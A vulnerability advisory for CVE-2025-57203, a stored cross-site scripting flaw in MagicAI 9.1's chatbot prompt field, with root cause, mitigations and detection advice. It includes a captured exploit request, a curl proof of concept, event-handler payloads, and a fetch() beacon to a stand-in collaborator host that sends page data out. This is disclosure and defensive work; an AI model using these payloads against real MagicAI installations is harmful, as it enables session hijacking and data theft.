# CVE-2025-57203: Stored XSS in MagicAI 9.1 (AI Chat) Enables Arbitrary JavaScript Execution

**Discovered by:** [Michael Kim](https://www.linkedin.com/in/michael-k-83b0627b/) & [Sergio Medeiros](https://www.linkedin.com/in/sergiomedeiros8/)  
**Vendor:** LiquidThemes  
**Product:** MagicAI (a.k.a. MagicProject AI)  
**Affected version:** 9.1 (other versions untested)  
**Impact:** Arbitrary JavaScript execution in users’ browsers (stored XSS)  
**Attack type:** Authenticated remote (admin)  
**Component:** AI Chat – “chatbot generation” feature  
**Status:** Vendor notified by email; no response received as of September 20, 2025 (PT)

MagicAI is a commercial SaaS kit for AI-powered content, chat, and media generation sold by **LiquidThemes**. Its official documentation and CodeCanyon listing describe an AI content and chat platform deployed by end-customers on their own servers. ([MagicAI Documentation](https://docs.magicproject.ai/))

---

## Executive summary (for decision-makers)

A **stored cross-site scripting (XSS)** flaw in MagicAI **9.1** allows an authenticated administrator to inject HTML/JS via the **chatbot generation “prompt”** field. The payload is stored and later rendered unsanitized when viewing chatbot output, causing JavaScript to run in any viewer’s browser (including other admins). This enables account takeover via session riding or token theft, forced administrative actions, and data exfiltration.

* **CVE:** CVE-2025-57203
    
* **CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
    
* **Severity:** High (authenticated stored XSS with admin reach and no CSP)
    
* **Likely blast radius:** All tenants/users who can view generated chatbot content in the affected instance
    

---

## TL;DR (what’s exploitable)

* **Endpoint:** `POST /dashboard/user/generator/generate-stream`
    
* **Parameter:** `prompt` (multipart/form-data)
    
* **Example payload:** `<details/open/ontoggle=alert(1)>`
    
* **Trigger:** Open the generated chatbot output page; the stored payload executes.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1758398091227/1c06cb16-9dd9-49ac-a54f-38ed214f8063.png align="center")

```yaml
POST /dashboard/user/generator/generate-stream HTTP/2
Host: demo.magicproject.ai
Cookie: <snipped>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/event-stream
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.magicproject.ai/dashboard/user/openai/chat/ai-chat/career-counselor
X-Csrf-Token: OSPJdFDYo70unSHTRzq1Dx2Zwg1xondMWsWASQAo
Content-Type: multipart/form-data; boundary=---------------------------36975424121810644822419014182
Content-Length: 1498
Origin: https://demo.magicproject.ai
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="template_type"

chatbot
-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="prompt"

<details/open/ontoggle=alert(1)>
-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="chat_id"
```

---

## How we found it — step-by-step methodology

> The flow below is reproducible on a stock MagicAI 9.1 installation. Perform testing only on environments you own or are authorized to test.

1. **Establish admin context**  
    Log in as an administrative user in MagicAI. Navigate to the **Dashboard → Generators → Chatbot** (wording may vary by build/locale). Documentation confirms MagicAI’s AI Chat features exist and are configurable by admins. ([MagicAI Documentation](https://docs.magicproject.ai/))
    
2. **Identify the submission endpoint**  
    Using the browser’s Network tab, observe that submitting a new chatbot involves a `multipart/form-data` POST to:
    
    ```yaml
    /dashboard/user/generator/generate-stream
    ```
    
    The request includes a `prompt` field that carries the natural-language instruction used to seed the bot.
    
3. **Probe for client/server filtering**  
    Submit harmless HTML markers (e.g., `<i>probe</i>`) as the `prompt`. Save and open any page where the generated chatbot output is displayed (preview or listing). The text renders as HTML, indicating the value is stored and later **injected into an HTML context** without escaping.
    
4. **Escalate to event-bearing HTML**  
    Replace the probe with an HTML element that fires an event without `<script>`, for example:
    
    ```html
    <details/open/ontoggle=alert(1)>
    ```
    
    This uses a **non-script tag** with an event handler—useful when `<script>` is filtered but attributes aren’t.
    
5. **Confirm persistence (stored XSS)**  
    Reload any page that renders the chatbot’s output (e.g., the bot preview). The `alert(1)` dialog fires in the browser **without further interaction**, confirming a **stored** XSS, not merely reflected.
    
6. **Assess containment and CSP**  
    Check response headers for a **Content-Security-Policy (CSP)**. In the tested instance, no effective CSP blocked inline event handlers. Without CSP nonces/hashes and `strict-dynamic`, **inline JS executes freely**, heightening impact.
    
7. **Demonstrate impact safely**  
    Replace `alert(1)` with a benign beacon to your logging endpoint to prove arbitrary JS execution (keep it non-destructive and private during testing):
    
    ```html
    <details open ontoggle=fetch('https://your-collab.example/xss?q='+encodeURIComponent(location.href))>
    ```
    
    In real-world conditions, an attacker could:
    
    * **Perform privileged actions** as the victim (CSRF-style with full DOM context).
        
    * **Exfiltrate access tokens** stored in the page or **localStorage** (if used).
        
    * **Install a DOM hook** to persist control over admin workflows.
        

---

## Reproduction (curl PoC)

> Replace boundary and cookie values with those from your authenticated session. This is a safe demo payload that only pops an alert.

```bash
curl -i -sS -k \
  -H 'Cookie: <your_admin_session_cookie>' \
  -H 'Content-Type: multipart/form-data; boundary=----x' \
  --data-binary $'------x\r\nContent-Disposition: form-data; name="prompt"\r\n\r\n<details open ontoggle=alert(1)>\r\n------x--\r\n' \
  https://<your-magicai-host>/dashboard/user/generator/generate-stream
```

Then navigate to the chatbot’s preview/output page. The alert confirms execution.

---

## Why this happens (root cause)

* **Untrusted input** from `prompt` is stored server-side and later **rendered as HTML** in a browser context.
    
* **No output encoding** (e.g., `&`, `<`, `>`, `"`, `'`) occurs prior to HTML injection.
    
* **No effective CSP** is present to block inline event handlers or `javascript:` URLs.
    
* The rendering path likely uses a template or DOM sink (e.g., `innerHTML`) that **trusts the stored content**.
    

---

## Risk & real-world abuse scenarios

* **Admin-on-Admin compromise:** In teams with multiple admins or SSO-provisioned staff, a single malicious admin account can implant payloads that execute for every other admin viewing the bot.
    
* **Session riding & data theft:** JavaScript can perform state-changing POSTs, alter pricing/plans, or export data via the authenticated UI. If tokens are exposed to the DOM or localStorage, **account takeover** follows.
    
* **Extension to other roles:** Any role capable of viewing the generated chatbot output becomes a target. Multi-tenant deployments expand the blast radius.
    

---

## Affected scope

* Confirmed on **MagicAI 9.1**. Other versions may be affected but were not tested in this advisory.
    

---

## Mitigations & vendor guidance

**1) Encode on output (primary fix)**

* Treat all user-controlled fields (including admin-entered content) as untrusted.
    
* **HTML-encode** before insertion into the DOM or templates. Use your templating engine’s **auto-escaping** features by default.
    

**2) Sanitize when you must allow HTML**

* If rich text is required, sanitize with a **strict allow-list** (e.g., DOMPurify with `ALLOWED_TAGS`/`ALLOWED_ATTR`).
    
* **Disallow event attributes** (`on*`), `javascript:` URLs, iframes, and SVG/MathML unless strictly necessary.
    

**3) Enforce a strong CSP (defense-in-depth)**

* Use `Content-Security-Policy` with **nonces**/hashes and `strict-dynamic`; disable `unsafe-inline`.
    
* Example starting point:
    
    ```javascript
    default-src 'self'; base-uri 'none'; object-src 'none';
    script-src 'nonce-<random>' 'strict-dynamic';
    frame-ancestors 'none'; upgrade-insecure-requests
    ```
    
    (Adapt to your asset pipeline; ensure all inline scripts are nonce’d.)
    

**4) Remove dangerous sinks**

* Replace `innerHTML`/dangerous rendering with **textContent** or safe binders.
    
* Centralize render helpers so escaping rules are never bypassed ad hoc.
    

**5) Add regression tests**

* Unit/functional tests that submit `<img src=x onerror=alert(1)>` or `<details/open/ontoggle=prompt(1>` variants and assert **no execution**.
    
* Include these in CI for every view that renders chatbot content.
    

**6) Operational controls (until patched)**

* Temporarily **disable the chatbot generation feature** for non-essential admins.
    
* Flag or strip HTML from `prompt` server-side as an interim hotfix.
    
* Deploy a **WAF rule** to detect event attributes (`\bon\w+=`) in multipart fields (helpful but bypassable).
    

---

## Detection & triage

* **Server logs / DB:** Search chatbot content tables/fields for suspicious substrings (e.g., `<details`, `<img`, `onerror=`, `ontoggle=`, `javascript:`).
    
* **Browser console errors:** Clusters of CSP or DOM-based warnings (once CSP is enabled) indicate attempted exploits.
    
* **Analytics/telemetry:** Unexpected outbound requests from admin views (e.g., to attacker domains) following chatbot page loads.
    

---

## Timeline & disclosure

* **Initial discovery:** By **Michael Kim** and **Sergio Medeiros** during routine admin-side testing of MagicAI 9.1.
    
* **Vendor contact:** Notification sent via email to LiquidThemes.
    
* **Current status:** **No vendor response** as of **September 20, 2025** (America/Los\_Angeles).
    
* **Identifier:** **CVE-2025-57203**.
    

---

## Formal CVE description (for databases)

> **MagicAI (MagicProject AI) 9.1** by **LiquidThemes** is affected by a **stored cross-site scripting (XSS)** vulnerability in the **chatbot generation** feature available to authenticated admin users. The flaw resides in the `prompt` parameter submitted to `/dashboard/user/generator/generate-stream` via a **multipart/form-data** POST request. Due to insufficient input sanitization and lack of output encoding, attackers can inject HTML-based JavaScript payloads such as `<details open ontoggle=alert(1)>`. The payload is stored and rendered unsanitized in subsequent views, executing in other users’ browsers when they access affected content. This permits arbitrary JavaScript execution in the context of another user, enabling session hijacking, privilege escalation, data exfiltration, or administrative account takeover. The application does not implement a restrictive Content Security Policy (CSP). A fix should include proper sanitization, output encoding, and strong CSP enforcement.

**Reference:** Product listing & docs: MagicAI by LiquidThemes. ([CodeCanyon](https://codecanyon.net/item/magicai-openai-content-text-image-chat-code-generator-as-saas/45408109?srsltid=AfmBOoro7SdYvvxHHHJ_FVGq0lPiAgh2BhSZ6eRKBv1_MyRa0TgtLuZO&utm_source=chatgpt.com))

---

## FAQ

**Is this server-side code execution (RCE)?**  
No. This is **browser code execution** (stored XSS). However, with admin context it can be devastating—privileged actions, data access, and potential full administrative takeover.

**Does filtering** `<script>` tags fix it?  
Not by itself. Modern XSS avoids `<script>` using event attributes, SVG, `srcdoc`, `javascript:` URLs, etc. Use allow-list sanitization and output encoding; back it up with a strict CSP.

**We only have one admin—are we safe?**  
Not necessarily. A compromised or shared admin account can implant payloads that persist and execute later, including against future administrators.

---

## Acknowledgments

* **Discovery & research:** **Michael Kim** and **Sergio Medeiros**
    
* **Report author / advisory preparation:** grumpz (blog)
    

---

## Suggested SEO metadata (drop-in)

**Title:** CVE-2025-57203 — Stored XSS in MagicAI 9.1 (MagicProject AI) Enables Arbitrary JavaScript Execution  
**Meta description (≤160 chars):** MagicAI 9.1 stored XSS (CVE-2025-57203) lets admins inject JS via chatbot prompts. Impact: account takeover. Fix: encode, sanitize, CSP.  
**Keywords:** MagicAI vulnerability, MagicProject AI, LiquidThemes, CVE-2025-57203, stored XSS, AI Chat, generate-stream, admin takeover, CSP, DOMPurify

---

### References

* MagicAI documentation & vendor attribution (LiquidThemes), with pointers to listing and support links. ([MagicAI Documentation](https://docs.magicproject.ai/))
    
* CodeCanyon product page (MagicAI by LiquidThemes). ([CodeCanyon](https://codecanyon.net/item/magicai-openai-content-text-image-chat-code-generator-as-saas/45408109?srsltid=AfmBOoro7SdYvvxHHHJ_FVGq0lPiAgh2BhSZ6eRKBv1_MyRa0TgtLuZO&utm_source=chatgpt.com))
    

---

> If you run MagicAI in production, **treat this as a priority**: remove HTML rendering from `prompt` outputs, ship a strict CSP with nonces, and add automated tests before re-enabling rich content.
